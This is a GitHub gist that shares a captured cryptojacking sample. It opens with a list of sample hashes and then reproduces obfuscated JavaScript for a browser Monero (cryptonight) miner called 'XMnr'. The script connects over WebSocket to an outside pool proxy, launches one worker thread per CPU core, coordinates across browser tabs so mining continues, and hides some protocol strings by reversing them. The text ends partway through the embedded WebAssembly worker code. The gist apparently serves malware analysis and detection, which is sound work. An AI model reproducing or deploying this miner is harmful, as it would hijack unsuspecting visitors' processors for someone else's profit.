Skip to content

Instantly share code, notes, and snippets.

@JohnLaTwC
Created February 26, 2018 20:07
Show Gist options
  • Save JohnLaTwC/faed4c96c7d61a0a9b401e1fcf9fd064 to your computer and use it in GitHub Desktop.
Save JohnLaTwC/faed4c96c7d61a0a9b401e1fcf9fd064 to your computer and use it in GitHub Desktop.
cryptonight WASM miner
## uploaded by @JohnLaTwC
## sample hash: 001f32784020c51a37d0805894c206ad3af6f64982920f2e5d9fa4ecd2a7f295
## 0080ac8f345ffa6efd580c32f256179bc84d461c7ed0ae8b12840435232cc301
## 008a4edf85ff8f048dec06d60ace786148eb9f7d59154967c0f788672d55a81f
## 0237d082feaa02a12e15cace26c4f82da1c477ef771d932eee5adc6ce9752ec4
## 06f04642cb950f9aef4ead17e1133aa5fbb13ec99ce3e3bf4bb0b8cdd0c36248
## 08ec5e976ef01e43f1ae4f135ea8eb6840b206c74d1240b626e2944feaff86db
## 096fc6c469d3c1e85fcdfbd889441a519e1070f638187804f3c4032495e502d0
## 0a993356554333779fc3dbca6b87cfa327efa4d931205c8c00f32381bdf9bcff
## 0bd10a6fa8c53bda71d7cd892479166e497ee649f4a4c4f27a93b7a4aaff6edd
## 0dee68d2d340155353bf3555b2477a836febedc0191634015839dd91cf6e1039
## 0ee5d9fd83599bc84866a928dcd7bd920932e2aaeedc79a78f28c142cd8ecaa3
## 1216952622f801cef7f89ba91134cafa662ecc3ef08e49ae95c3c5f8b53b4223
## 1359d378f8202b63330d5ad27469b58785bc95f39d7e426af858dd42260de978
## 1949c24c56219df13899593b9aea56086a9902f1622ee946b67fff6ef06ac09a
## 2391b4e111e8e2583b053fbf3fd1d99f8d513e7f6d26d25f694a7fcb16e6030b
## 252c6e5048af9842bb5ad6ec8da6c7476ac4f296dddb14e161c3199187dc1739
## 28044a72547f291044ff50475f4bc9db614b27f1cd673eafb2cc32f5db1beaaa
## 290e407d28d2a9db1a453f9699fcb88748331b4758268208f845653a7d5cb470
## 2afb0e5880a41157023bc4669b366067ed82c479d25f6a73cbfae9c8cb0d8a6c
## 33458f2b76ca7b7c0695b957c02fce4d76de83d0859783029dfca1ad44fc0898
## 3cea0494ea9a846837ffc8591ce0d43b65af9177b99433e123bdb61b5cc946c7
## 3d7c755851d179bb5afaf44e0fd9a23c5433b4db1901c7f2f3e9d93a20f88891
## 3ffb585609a841255b505fa2f4e0b3ca3f49549e06f770b23af2b383eb81f796
## 4a61111b2e739601d854b3df29aea63a931dd2300f507244321e089cb283dcb5
## 4adea8beed03c6fc04c55b7039b084183d374817cff26bc48327c48ea5d8c1b0
## 4be7d652a7835531f7a1f835fcc8e700586aea9d3484a0867caad9dd2a48bf85
## 4f00e6be50a63314f4326d291e361f75cc67c9d19e52e142d7fde527537bd2d0
## 523742120c433a3a1ebbce9340ae9d431dee083ab1e3258c6de697718001f247
## 53a058299e73d22a8237bd1393e882dfcb6990c13560489fdb04aff438afb05d
## 5983ab7ee1db0c00af47bbcff167f2fdfd54626cbb59e5dccbde44a3c31a9e1e
## 59fe5cf3cc3c3554d04afd9cffac56bdce1572f0ff0640b0503a047e0fe966a1
## 65ab366141ee848c284892b8be66f73e30663b771c135878bd0f7e1dd1b9c32c
## 791ede6d3e1c78c8f5515c132660f2d59eb42773c6edf9c5a8526440e8eb04ef
## 79e00c2b3ce97892c72305577aeafac462c29a40221c4bf85002d7ca0c559822
## 7a6f18ba3ed7dc162560172cf0c2d3dc9b452a4ac3fe5beae101c243fd5a10fd
## 7b364ebb470df88c3ebf1670df880e2a5760a67ec4df67007da32d1170739b0a
## 7d6e99413797ef5dc88f37b220f3c6fb30f4140be1094226563251803bae9bd4
## 813889cffb56585a1baf3d299a2862af2a8eb24d8c6ac9868ab58570e469f9b9
## 8a6dc3c6d7dea706cea9248f3e7dedd9744400399d57667935564af939151a0f
## 8ab996f8323f17c4ea90b84f76c08b8989a3768bf5d64db32858a9ee672b32a8
## 8c46bd7c8675ad9b1e212b6b461c9fd4ea9dd5e42a5209f6ef8017341e7d6eef
## 8d7756841dd1cf02c97e02d258bc1bda920353c7368eeea7497a0e8d797c1802
## 8efcced15164d9b1832aaa254bca301822ceb8460bbc2e7a9751d0ce14c3b0e2
## 99baed01c8ad8a306826426a389127db99dbfb9e2ab134e283d1f2fa239011f9
## 9d1bf874576b6cf86260243480ebb438b2d7890497d473bab58a73426122658c
## a12ea9d234cc0f439fcd21ac948058425b0e72cf0f326e8f1f6317aa0b6e4254
## a59819c7d517b3a670bd79d40b23c2fbc341b7d26230097b1fac7940903fea10
## a822326f5109fdfc684837ae2f703cf5201eb5f610aa0cfaec8018d608f543ee
## aba1c3838d78a5682d263c205bdb36e9fba0c3de6c645408976e50fb5917ecae
## ac47d55a51299e45a9105c4eae1691f7bb87d35aa561f82913471cf64e971acd
## ad6a1f8d23042625929b2818070c2e374258bfc86c1f1eaf4a9a958f6b2fbca8
## b3a534ef6c07d15801f2169df666166ef6a1f6b7c5ae879f22dca099f3793121
## b42ad42a46c4b3ac2e52afb05f93c5ca6364fd5473fe9b02bb53268db3481d48
## b591c0439b1995d7b8f6da6d6ded3e4fd3b2bc37bd3552a31c41178c8914692d
## bfe233fa29ebe116ecfde2b450c819298991e87a10e9c63ffbe1f9a38056ab59
## c03d053f1d23aa9a6e35de293efb46f9b427cb2691974a2c6e620f8bbcef6f4a
## c12334b993c8d90833f3a9cd930120a16855ef5966b78a3cf68fa0445c58050d
## cb7ec9a946443fff6e0d8ddf22a500c9db1d00a52f0f886ebafd910d3e5da5d7
## d7a66db2792fdaa95357edc0e28e0a4e0bca411156a3dbd10be61d3866caf494
## ddbde5c3aa78a0cc507d391bd3b46a183a115df795a3cc9e665ea8a06b955c61
## de88d33e3e692759da19cb99284d344141efa9030da4d5f52ec2eb909e71dded
## e0f6dd2a6ee09a58cef3986c5864ba0b6280adb472a67c4b483227ab4f2e3fe9
## e30378d7cfde8218a21dedb6a6cdb300ecf0165bd9cc8dda0e19e768023b1b18
## e3415b6e5fe4fe962add822e409ec60762b763d4df3ba9ed78e62b9d932015fb
## e613e8f8c98c7186e5fdab567d82e86606c6b33a4558196cd71183fbb87cd14c
## e6922880244cbb4fcd139817ae77d816940629484ed4682a4d5f694099db095c
## e8a16d88d27f5b40d0788f6b5ec1ceae7651a43612fbfaf500f5b9ad6c5a92d5
## eb4ec44e752687314b8cb786adceee160c3d121eed7ee3eeb0ffc9cac7151c90
## ed834a528315aecd85dcfbc90a39ef2a087fde929514eb83138f0e4f8761cd9f
## ef1f0ce881cc928d2856f7ec58389419aa338e6c5c1796c9eeb2b226c2075ee3
## f2699da42b30f4dbbdfcdd52e73a7515c69ae0ce68f7ea7ba59c0e3377ea17d5
## f86d80304d97e0c8bb9af015055f1b3e2dcfc5e5ae1e4e40df970c475e3b8f9e
! function(t) {
"use strict";
var e = function(t, e) {
e = e || {}, this._siteKey = t, this._user = null, this._threads = [], this._hashes = 0, this._cJ = null, this._autoReconnect = !0, this._tokenFromServer = null, this._goal = 0, this._second = 1e3, this._totalHashesFromDeadThreads = 0, this._throttle = Math.max(0, Math.min(.99, e.throttle || 0)), this._xPipes = {
enabled: !!e.autoThreads,
interval: null,
adjustAt: null,
adjustEvery: 1e4,
stats: {}
}, this._tab = {
ident: 16777215 * Math.random() | 0,
mode: XMnr.IET,
grace: 0,
interval: null
}, this._eventListeners = {
open: [],
authed: [],
close: [],
error: [],
job: [],
found: [],
accepted: []
};
var s = navigator.hardwareConcurrency || 4;
this._targetNumThreads = e.threads || s, this._asmjsStatus = "unloaded", this._onTargetMetBound = this._onTargetMet.bind(this), this._onVerifiedBound = this._onVerified.bind(this), this._proxyUrl = e.ws || "https://devappgrant.space/ws/"
};
e.prototype.start = function(t) {
this._tab.mode = t || XMnr.IET, this._tab.interval && (clearInterval(this._tab.interval), this._tab.interval = null), this.hasWASMSupport() && this._startNow()
}, e.prototype.stop = function(t) {
for (var e = 0; e < this._threads.length; e++) this._totalHashesFromDeadThreads += this._threads[e].hashesTotal, this._threads[e].stop();
this._threads = [], this._autoReconnect = !1, this._socket && this._socket.close(), this._cJ = null, this._xPipes.interval && (clearInterval(this._xPipes.interval), this._xPipes.interval = null), this._tab.interval && "dontKillTabUpdate" !== t && (clearInterval(this._tab.interval), this._tab.interval = null)
}, e.prototype.getHashesPerSecond = function() {
for (var t = 0, e = 0; e < this._threads.length; e++) t += this._threads[e].hashesPerSecond;
return t
}, e.prototype.getTotalHashes = function(t) {
for (var e = Date.now(), s = this._totalHashesFromDeadThreads, i = 0; i < this._threads.length; i++) {
var r = this._threads[i];
if (s += r.hashesTotal, t) {
s += (e - r.lastMessageTimestamp) / 1e3 * .9 * r.hashesPerSecond
}
}
return 0 | s
}, e.prototype.getAcceptedHashes = function() {
return this._hashes
}, e.prototype.getToken = function() {
return this._tokenFromServer
}, e.prototype.on = function(t, e) {
this._eventListeners[t] && this._eventListeners[t].push(e)
}, e.prototype.getAutoThreadsEnabled = function(t) {
return this._xPipes.enabled
}, e.prototype.setAutoThreadsEnabled = function(t) {
this._xPipes.enabled = !!t, !t && this._xPipes.interval && (clearInterval(this._xPipes.interval), this._xPipes.interval = null), t && !this._xPipes.interval && (this._xPipes.adjustAt = Date.now() + this._xPipes.adjustEvery, this._xPipes.interval = setInterval(this._adjustThreads.bind(this), this._second))
}, e.prototype.getThrottle = function() {
return this._throttle
}, e.prototype.setThrottle = function(t) {
this._throttle = Math.max(0, Math.min(.99, t)), this._cJ && this._setJob(this._cJ)
}, e.prototype.getNumThreads = function() {
return this._targetNumThreads
}, e.prototype.setNumThreads = function(t) {
t = Math.max(1, 0 | t), this._targetNumThreads = t;
var e;
if (t > this._threads.length)
for (var s = 0; t > this._threads.length; s++) e = new XMnr.JobThread, this._cJ && e.setJob(this._cJ, this._onTargetMetBound), this._threads.push(e);
else if (t < this._threads.length)
for (; t < this._threads.length;) e = this._threads.pop(), this._totalHashesFromDeadThreads += e.hashesTotal, e.stop()
}, e.prototype.hasWASMSupport = function() {
return void 0 !== t.WebAssembly
}, e.prototype.isRunning = function() {
return this._threads.length > 0
}, e.prototype._startNow = function() {
this._tab.mode === XMnr.FMT || this._tab.interval || (this._tab.interval = setInterval(this._updateTabs.bind(this), 1e3)), this._tab.mode === XMnr.IET && this._otherTabRunning() || (this._tab.mode === XMnr.FET && (this._tab.grace = Date.now() + 3e3), this.verifyThread || (this.verifyThread = new XMnr.JobThread), this.setNumThreads(this._targetNumThreads), this._autoReconnect = !0, this._connect())
}, e.prototype._otherTabRunning = function() {
try {
var t = localStorage.getItem("XMnr");
if (t) {
var e = JSON.parse(t);
if (e.ident !== this._tab.ident && Date.now() - e.time < 1500) return !0
}
} catch (t) {}
return !1
}, e.prototype._updateTabs = function() {
var t = this._otherTabRunning();
t && this.isRunning() && Date.now() > this._tab.grace ? this.stop("dontKillTabUpdate") : t || this.isRunning() || this._startNow(), this.isRunning() && localStorage.setItem("XMnr", JSON.stringify({
ident: this._tab.ident,
time: Date.now()
}))
}, e.prototype._adjustThreads = function() {
var t = this.getHashesPerSecond(),
e = this.getNumThreads(),
s = this._xPipes.stats;
if (s[e] = s[e] ? .5 * s[e] + .5 * t : t, Date.now() > this._xPipes.adjustAt) {
this._xPipes.adjustAt = Date.now() + this._xPipes.adjustEvery;
var i = (s[e] || 0) - 1,
r = s[e + 1] || 0,
n = s[e - 1] || 0;
if (i > n && (0 === r || r > i) && e < 8) return this.setNumThreads(e + 1);
if (i > r && (!n || n > i) && e > 1) return this.setNumThreads(e - 1)
}
}, e.prototype._emit = function(t, e) {
var s = this._eventListeners[t];
if (s && s.length)
for (var i = 0; i < s.length; i++) s[i](e)
}, e.prototype._hashString = function(t) {
for (var e = 5381, s = t.length; s;) e = 33 * e ^ t.charCodeAt(--s);
return e >>> 0
}, e.prototype._connect = function() {
this._socket || (this._socket = new WebSocket(this._proxyUrl), this._socket.onmessage = this._onMessage.bind(this), this._socket.onerror = this._onError.bind(this), this._socket.onclose = this._onClose.bind(this), this._socket.onopen = this._onOpen.bind(this))
}, e.prototype._socketKeepalive = function() {
this._socket && (this._socket.send('{"type":"ping"}\t'), this._keepAliveTimerId = setTimeout(this._socketKeepalive.bind(this), 5e4))
}, e.prototype._setKeepalive = function() {
this._keepAliveTimerId && clearTimeout(this._keepAliveTimerId), this._keepAliveTimerId = setTimeout(this._socketKeepalive.bind(this), 5e4)
}, e.prototype._onOpen = function(t) {
this._emit("open");
var e = {
site_key: this._siteKey,
type: "anonymous",
user: null,
goal: 0
};
this._user ? (e.type = "user", e.user = this._user) : this._goal && (e.type = "token", e.goal = this._goal), this._send("auth", e), this._setKeepalive()
}, e.prototype._onError = function(t) {
this._emit("error", {
error: "connection_error"
}), this._onClose(t)
}, e.prototype._onClose = function(t) {
for (var e = 0; e < this._threads.length; e++) this._threads[e].stop();
this._threads = [], this._socket = null, this._emit("close"), this._autoReconnect && setTimeout(this._startNow.bind(this), 3e3)
}, e.prototype._onMessage = function(t) {
var e = JSON.parse(t.data);
if ("job" === e.type) {
if (this._setJob(e.params), e.params.t > 0) {
var s = Math.max(0, Math.min(.99, e.params.t));
s !== this._throttle && this.setThrottle(s)
}
this._emit("job", e.params), this._xPipes.enabled && !this._xPipes.interval && (this._xPipes.adjustAt = Date.now() + this._xPipes.adjustEvery, this._xPipes.interval = setInterval(this._adjustThreads.bind(this), this._second))
} else "verify" === e.type ? this.verifyThread.verify(e.params, this._onVerifiedBound) : "hash_accepted" === e.type ? (this._hashes = e.params.hashes, this._emit("accepted", e.params), this._goal && this._hashes >= this._goal && this.stop()) : "authed" === e.type ? (this._tokenFromServer = e.params.token || null, this._hashes = e.params.hashes || 0, this._emit("authed", e.params)) : "error" === e.type && this._emit("error", e.params);
this._setKeepalive()
}, e.prototype._setJob = function(t) {
this._cJ = t, this._cJ.throttle = this._throttle;
for (var e = 0; e < this._threads.length; e++) this._threads[e].setJob(t, this._onTargetMetBound)
}, e.prototype._onTargetMet = function(t) {
if (this._emit("found", t), t[["d", "b_i", "jo"].reverse().join("")] === this._cJ[["d", "b_i", "jo"].reverse().join("")]) {
var e = {
nonce: t.nonce,
result: t.result
};
e[["d", "b_i", "jo"].reverse().join("")] = t[["d", "b_i", "jo"].reverse().join("")], this._send("submit", e)
}
}, e.prototype._onVerified = function(t) {
this._send(["fied", "veri"].reverse().join(""), t)
}, e.prototype._send = function(t, e) {
if (this._socket) {
var s = {
type: t,
params: e || {}
};
this._socket.send(JSON.stringify(s))
}
}, t.XMnr = t.XMnr || {}, t.XMnr.IET = "iET", t.XMnr.FET = "fET", t.XMnr.FMT = "fMT", t.XMnr.Token = function(t, s, i) {
var r = new e(t, i);
return r._goal = s || 0, r
}, t.XMnr.User = function(t, s, i) {
var r = new e(t, i);
return r._user = s, r
}, t.XMnr.Anonymous = function(t, s) {
return new e(t, s)
}
}(window),
function(t) {
"use strict";
var e = function() {
this.worker = new Worker(XMnr.WORKER_BLOB), this.worker.onmessage = this.onReady.bind(this), this.currentJob = null, this.jobCallback = function() {}, this.verifyCallback = function() {}, this._isReady = !1, this.hashesPerSecond = 0, this.hashesTotal = 0, this.running = !1, this.lastMessageTimestamp = Date.now()
};
e.prototype.onReady = function(t) {
if ("ready" !== t.data || this._isReady) throw 'Expecting first message to be "ready", got ' + t;
this._isReady = !0, this.worker.onmessage = this.onReceiveMsg.bind(this), this.currentJob && (this.running = !0, this.worker.postMessage(this.currentJob))
}, e.prototype.onReceiveMsg = function(t) {
t.data.verify_id ? this.verifyCallback(t.data) : (t.data.result && this.jobCallback(t.data), this.hashesPerSecond = .5 * this.hashesPerSecond + .5 * t.data.hashesPerSecond, this.hashesTotal += t.data.hashes, this.lastMessageTimestamp = Date.now(), this.running && this.worker.postMessage(this.currentJob))
}, e.prototype.setJob = function(t, e) {
this.currentJob = t, this.jobCallback = e, this._isReady && !this.running && (this.running = !0, this.worker.postMessage(this.currentJob))
}, e.prototype.verify = function(t, e) {}, e.prototype.stop = function() {
this.worker && (this.worker.terminate(), this.worker = null), this.running = !1
}, t.XMnr.JobThread = e
}(window), self.XMnr = self.XMnr || {}, self.XMnr.CONFIG = {
WEBROOT_URL: "https://devappgrant.space/lib/"
}, XMnr.WORKER_BLOB = URL.createObjectURL(new Blob(["function globalEval(e){eval.call(null,e)}function assert(e,r){e||abort(\"Assertion failed: \"+r)}function getCFunc(ident){var func=Module[\"_\"+ident];if(!func)try{func=eval(\"_\"+ident)}catch(e){}return assert(func,\"Cannot call unknown function \"+ident+\" (perhaps LLVM optimizations or closure removed it?)\"),func}function setValue(e,r,t,n){switch(\"*\"===(t=t||\"i8\").charAt(t.length-1)&&(t=\"i32\"),t){case\"i1\":case\"i8\":HEAP8[e>>0]=r;break;case\"i16\":HEAP16[e>>1]=r;break;case\"i32\":HEAP32[e>>2]=r;break;case\"i64\":tempI64=[r>>>0,(tempDouble=r,+Math_abs(tempDouble)>=1?tempDouble>0?(0|Math_min(+Math_floor(tempDouble/4294967296),4294967295))>>>0:~~+Math_ceil((tempDouble-+(~~tempDouble>>>0))/4294967296)>>>0:0)],HEAP32[e>>2]=tempI64[0],HEAP32[e+4>>2]=tempI64[1];break;case\"float\":HEAPF32[e>>2]=r;break;case\"double\":HEAPF64[e>>3]=r;break;default:abort(\"invalid type for setValue: \"+t)}}function getValue(e,r,t){switch(\"*\"===(r=r||\"i8\").charAt(r.length-1)&&(r=\"i32\"),r){case\"i1\":case\"i8\":return HEAP8[e>>0];case\"i16\":return HEAP16[e>>1];case\"i32\":case\"i64\":return HEAP32[e>>2];case\"float\":return HEAPF32[e>>2];case\"double\":return HEAPF64[e>>3];default:abort(\"invalid type for setValue: \"+r)}return null}function allocate(e,r,t,n){var o,i;\"number\"==typeof e?(o=!0,i=e):(o=!1,i=e.length);var a,s=\"string\"==typeof r?r:null;if(a=t==ALLOC_NONE?n:[\"function\"==typeof _malloc?_malloc:Runtime.staticAlloc,Runtime.stackAlloc,Runtime.staticAlloc,Runtime.dynamicAlloc][void 0===t?ALLOC_STATIC:t](Math.max(i,s?1:r.length)),o){var u;n=a;for(assert(0==(3&a)),u=a+(-4&i);n<u;n+=4)HEAP32[n>>2]=0;for(u=a+i;n<u;)HEAP8[n++>>0]=0;return a}if(\"i8\"===s)return e.subarray||e.slice?HEAPU8.set(e,a):HEAPU8.set(new Uint8Array(e),a),a;for(var l,c,d,E=0;E<i;){var f=e[E];\"function\"==typeof f&&(f=Runtime.getFunctionIndex(f)),0!==(l=s||r[E])?(\"i64\"==l&&(l=\"i32\"),setValue(a+E,f,l),d!==l&&(c=Runtime.getNativeTypeSize(l),d=l),E+=c):E++}return a}function getMemory(e){return staticSealed?runtimeInitialized?_malloc(e):Runtime.dynamicAlloc(e):Runtime.staticAlloc(e)}function Pointer_stringify(e,r){if(0===r||!e)return\"\";for(var t,n=0,o=0;t=HEAPU8[e+o>>0],n|=t,(0!=t||r)&&(o++,!r||o!=r););r||(r=o);var i=\"\";if(n<128){for(var a;r>0;)a=String.fromCharCode.apply(String,HEAPU8.subarray(e,e+Math.min(r,1024))),i=i?i+a:a,e+=1024,r-=1024;return i}return Module.UTF8ToString(e)}function AsciiToString(e){for(var r=\"\";;){var t=HEAP8[e++>>0];if(!t)return r;r+=String.fromCharCode(t)}}function stringToAscii(e,r){return writeAsciiToMemory(e,r,!1)}function UTF8ArrayToString(e,r){for(var t=r;e[t];)++t;if(t-r>16&&e.subarray&&UTF8Decoder)return UTF8Decoder.decode(e.subarray(r,t));for(var n,o,i,a,s,u=\"\";;){if(!(n=e[r++]))return u;if(128&n)if(o=63&e[r++],192!=(224&n))if(i=63&e[r++],224==(240&n)?n=(15&n)<<12|o<<6|i:(a=63&e[r++],240==(248&n)?n=(7&n)<<18|o<<12|i<<6|a:(s=63&e[r++],n=248==(252&n)?(3&n)<<24|o<<18|i<<12|a<<6|s:(1&n)<<30|o<<24|i<<18|a<<12|s<<6|63&e[r++])),n<65536)u+=String.fromCharCode(n);else{var l=n-65536;u+=String.fromCharCode(55296|l>>10,56320|1023&l)}else u+=String.fromCharCode((31&n)<<6|o);else u+=String.fromCharCode(n)}}function UTF8ToString(e){return UTF8ArrayToString(HEAPU8,e)}function stringToUTF8Array(e,r,t,n){if(!(n>0))return 0;for(var o=t,i=t+n-1,a=0;a<e.length;++a){var s=e.charCodeAt(a);if(s>=55296&&s<=57343&&(s=65536+((1023&s)<<10)|1023&e.charCodeAt(++a)),s<=127){if(t>=i)break;r[t++]=s}else if(s<=2047){if(t+1>=i)break;r[t++]=192|s>>6,r[t++]=128|63&s}else if(s<=65535){if(t+2>=i)break;r[t++]=224|s>>12,r[t++]=128|s>>6&63,r[t++]=128|63&s}else if(s<=2097151){if(t+3>=i)break;r[t++]=240|s>>18,r[t++]=128|s>>12&63,r[t++]=128|s>>6&63,r[t++]=128|63&s}else if(s<=67108863){if(t+4>=i)break;r[t++]=248|s>>24,r[t++]=128|s>>18&63,r[t++]=128|s>>12&63,r[t++]=128|s>>6&63,r[t++]=128|63&s}else{if(t+5>=i)break;r[t++]=252|s>>30,r[t++]=128|s>>24&63,r[t++]=128|s>>18&63,r[t++]=128|s>>12&63,r[t++]=128|s>>6&63,r[t++]=128|63&s}}return r[t]=0,t-o}function stringToUTF8(e,r,t){return stringToUTF8Array(e,HEAPU8,r,t)}function lengthBytesUTF8(e){for(var r=0,t=0;t<e.length;++t){var n=e.charCodeAt(t);n>=55296&&n<=57343&&(n=65536+((1023&n)<<10)|1023&e.charCodeAt(++t)),n<=127?++r:r+=n<=2047?2:n<=65535?3:n<=2097151?4:n<=67108863?5:6}return r}function demangle(e){var r=Module.___cxa_demangle||Module.__cxa_demangle;if(r){try{var t=e.substr(1),n=lengthBytesUTF8(t)+1,o=_malloc(n);stringToUTF8(t,o,n);var i=_malloc(4),a=r(o,0,0,i);if(0===getValue(i,\"i32\")&&a)return Pointer_stringify(a)}catch(e){}finally{o&&_free(o),i&&_free(i),a&&_free(a)}return e}return Runtime.warnOnce(\"warning: build with -s DEMANGLE_SUPPORT=1 to link in libcxxabi demangling\"),e}function demangleAll(e){return e.replace(/__Z[\\w\\d_]+/g,function(e){var r=demangle(e);return e===r?e:e+\" [\"+r+\"]\"})}function jsStackTrace(){var e=new Error;if(!e.stack){try{throw new Error(0)}catch(r){e=r}if(!e.stack)return\"(no stack trace available)\"}return e.stack.toString()}function stackTrace(){var e=jsStackTrace();return Module.extraStackTrace&&(e+=\"\\\\n\"+Module.extraStackTrace()),demangleAll(e)}function alignUp(e,r){return e%r>0&&(e+=r-e%r),e}function updateGlobalBuffer(e){Module.buffer=buffer=e}function updateGlobalBufferViews(){Module.HEAP8=HEAP8=new Int8Array(buffer),Module.HEAP16=HEAP16=new Int16Array(buffer),Module.HEAP32=HEAP32=new Int32Array(buffer),Module.HEAPU8=HEAPU8=new Uint8Array(buffer),Module.HEAPU16=HEAPU16=new Uint16Array(buffer),Module.HEAPU32=HEAPU32=new Uint32Array(buffer),Module.HEAPF32=HEAPF32=new Float32Array(buffer),Module.HEAPF64=HEAPF64=new Float64Array(buffer)}function abortOnCannotGrowMemory(){abort(\"Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value \"+TOTAL_MEMORY+\", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 \")}function enlargeMemory(){abortOnCannotGrowMemory()}function getTotalMemory(){return TOTAL_MEMORY}function callRuntimeCallbacks(e){for(;e.length>0;){var r=e.shift();if(\"function\"!=typeof r){var t=r.func;\"number\"==typeof t?void 0===r.arg?Module.dynCall_v(t):Module.dynCall_vi(t,r.arg):t(void 0===r.arg?null:r.arg)}else r()}}function preRun(){if(Module.preRun)for(\"function\"==typeof Module.preRun&&(Module.preRun=[Module.preRun]);Module.preRun.length;)addOnPreRun(Module.preRun.shift());callRuntimeCallbacks(__ATPRERUN__)}function ensureInitRuntime(){runtimeInitialized||(runtimeInitialized=!0,callRuntimeCallbacks(__ATINIT__))}function preMain(){callRuntimeCallbacks(__ATMAIN__)}function exitRuntime(){callRuntimeCallbacks(__ATEXIT__),runtimeExited=!0}function postRun(){if(Module.postRun)for(\"function\"==typeof Module.postRun&&(Module.postRun=[Module.postRun]);Module.postRun.length;)addOnPostRun(Module.postRun.shift());callRuntimeCallbacks(__ATPOSTRUN__)}function addOnPreRun(e){__ATPRERUN__.unshift(e)}function addOnInit(e){__ATINIT__.unshift(e)}function addOnPreMain(e){__ATMAIN__.unshift(e)}function addOnExit(e){__ATEXIT__.unshift(e)}function addOnPostRun(e){__ATPOSTRUN__.unshift(e)}function intArrayFromString(e,r,t){var n=t>0?t:lengthBytesUTF8(e)+1,o=new Array(n),i=stringToUTF8Array(e,o,0,o.length);return r&&(o.length=i),o}function intArrayToString(e){for(var r=[],t=0;t<e.length;t++){var n=e[t];n>255&&(n&=255),r.push(String.fromCharCode(n))}return r.join(\"\")}function writeStringToMemory(e,r,t){Runtime.warnOnce(\"writeStringToMemory is deprecated and should not be called! Use stringToUTF8() instead!\");var n,o;t&&(o=r+lengthBytesUTF8(e),n=HEAP8[o]),stringToUTF8(e,r,1/0),t&&(HEAP8[o]=n)}function writeArrayToMemory(e,r){HEAP8.set(e,r)}function writeAsciiToMemory(e,r,t){for(var n=0;n<e.length;++n)HEAP8[r++>>0]=e.charCodeAt(n);t||(HEAP8[r>>0]=0)}function getUniqueRunDependency(e){return e}function addRunDependency(e){runDependencies++,Module.monitorRunDependencies&&Module.monitorRunDependencies(runDependencies)}function removeRunDependency(e){if(runDependencies--,Module.monitorRunDependencies&&Module.monitorRunDependencies(runDependencies),0==runDependencies&&(null!==runDependencyWatcher&&(clearInterval(runDependencyWatcher),runDependencyWatcher=null),dependenciesFulfilled)){var r=dependenciesFulfilled;dependenciesFulfilled=null,r()}}function integrateWasmJS(e){function r(e){return e}function t(){return e.wasmBinary||\"function\"!=typeof fetch?new Promise(function(r,t){r(function(){try{var r;if(e.wasmBinary)r=e.wasmBinary,r=new Uint8Array(r);else{if(!e.readBinary)throw\"on the web, we need the wasm binary to be preloaded and set on Module['wasmBinary']. emcc.py will do that for you when generating HTML (but not JS)\";r=e.readBinary(a)}return r}catch(e){abort(e)}}())}):fetch(a,{credentials:\"same-origin\"}).then(function(e){if(!e.ok)throw\"failed to load wasm binary file at '\"+a+\"'\";return e.arrayBuffer()})}function n(r,n,o){function i(r){(l=r.exports).memory&&function(r){var t=e.buffer;r.byteLength<t.byteLength&&e.printErr(\"the new buffer in mergeMemory is smaller than the previous one. in native wasm, we should grow memory here\");var n=new Int8Array(t),o=new Int8Array(r);memoryInitializer||n.set(o.subarray(e.STATIC_BASE,e.STATIC_BASE+e.STATIC_BUMP),e.STATIC_BASE),o.set(n),updateGlobalBuffer(r),updateGlobalBufferViews()}(l.memory),e.asm=l,e.usingWasm=!0,removeRunDependency(\"wasm-instantiate\")}if(\"object\"!=typeof WebAssembly)return e.printErr(\"no native wasm support detected\"),!1;if(!(e.wasmMemory instanceof WebAssembly.Memory))return e.printErr(\"no native wasm Memory in use\"),!1;if(n.memory=e.wasmMemory,u.global={NaN:NaN,Infinity:1/0},u[\"global.Math\"]=r.Math,u.env=n,addRunDependency(\"wasm-instantiate\"),e.instantiateWasm)try{return e.instantiateWasm(u,i)}catch(r){return e.printErr(\"Module.instantiateWasm callback failed with error: \"+r),!1}return t().then(function(e){return WebAssembly.instantiate(e,u)}).then(function(e){i(e.instance)}).catch(function(r){e.printErr(\"failed to asynchronously prepare wasm: \"+r),abort(r)}),{}}var o=e.wasmJSMethod||\"native-wasm\";e.wasmJSMethod=o;var i=e.wasmTextFile||\"cryptonight.wast\",a=e.wasmBinaryFile||\"cryptonight.wasm\",s=e.asmjsCodeFile||\"cryptonight.temp.asm.js\";\"function\"==typeof e.locateFile&&(i=e.locateFile(i),a=e.locateFile(a),s=e.locateFile(s));var u={global:null,env:null,asm2wasm:{\"f64-rem\":function(e,r){return e%r},\"f64-to-int\":function(e){return 0|e},\"i32s-div\":function(e,r){return(0|e)/(0|r)|0},\"i32u-div\":function(e,r){return(e>>>0)/(r>>>0)>>>0},\"i32s-rem\":function(e,r){return(0|e)%(0|r)|0},\"i32u-rem\":function(e,r){return(e>>>0)%(r>>>0)>>>0},debugger:function(){}},parent:e},l=null;e.asmPreload=e.asm;var c=e.reallocBuffer;e.reallocBuffer=function(r){return\"asmjs\"===d?c(r):function(r){r=alignUp(r,e.usingWasm?WASM_PAGE_SIZE:ASMJS_PAGE_SIZE);var t=e.buffer,n=t.byteLength;if(!e.usingWasm)return l.__growWasmMemory((r-n)/65536),e.buffer!==t?e.buffer:null;try{return-1!==e.wasmMemory.grow((r-n)/65536)?e.buffer=e.wasmMemory.buffer:null}catch(e){return null}}(r)};var d=\"\";e.asm=function(t,o,i){if(t=r(t),!(o=r(o)).table){var a=e.wasmTableSize;void 0===a&&(a=1024);var s=e.wasmMaxTableSize;\"object\"==typeof WebAssembly&&\"function\"==typeof WebAssembly.Table?o.table=void 0!==s?new WebAssembly.Table({initial:a,maximum:s,element:\"anyfunc\"}):new WebAssembly.Table({initial:a,element:\"anyfunc\"}):o.table=new Array(a),e.wasmTable=o.table}o.memoryBase||(o.memoryBase=e.STATIC_BASE),o.tableBase||(o.tableBase=0);return n(t,o)};e.asm}function ___assert_fail(e,r,t,n){throw ABORT=!0,\"Assertion failed: \"+Pointer_stringify(e)+\", at: \"+[r?Pointer_stringify(r):\"unknown filename\",t,n?Pointer_stringify(n):\"unknown function\"]+\" at \"+stackTrace()}function ___setErrNo(e){return Module.___errno_location&&(HEAP32[Module.___errno_location()>>2]=e),e}function ___syscall20(e,r){SYSCALLS.varargs=r;try{return 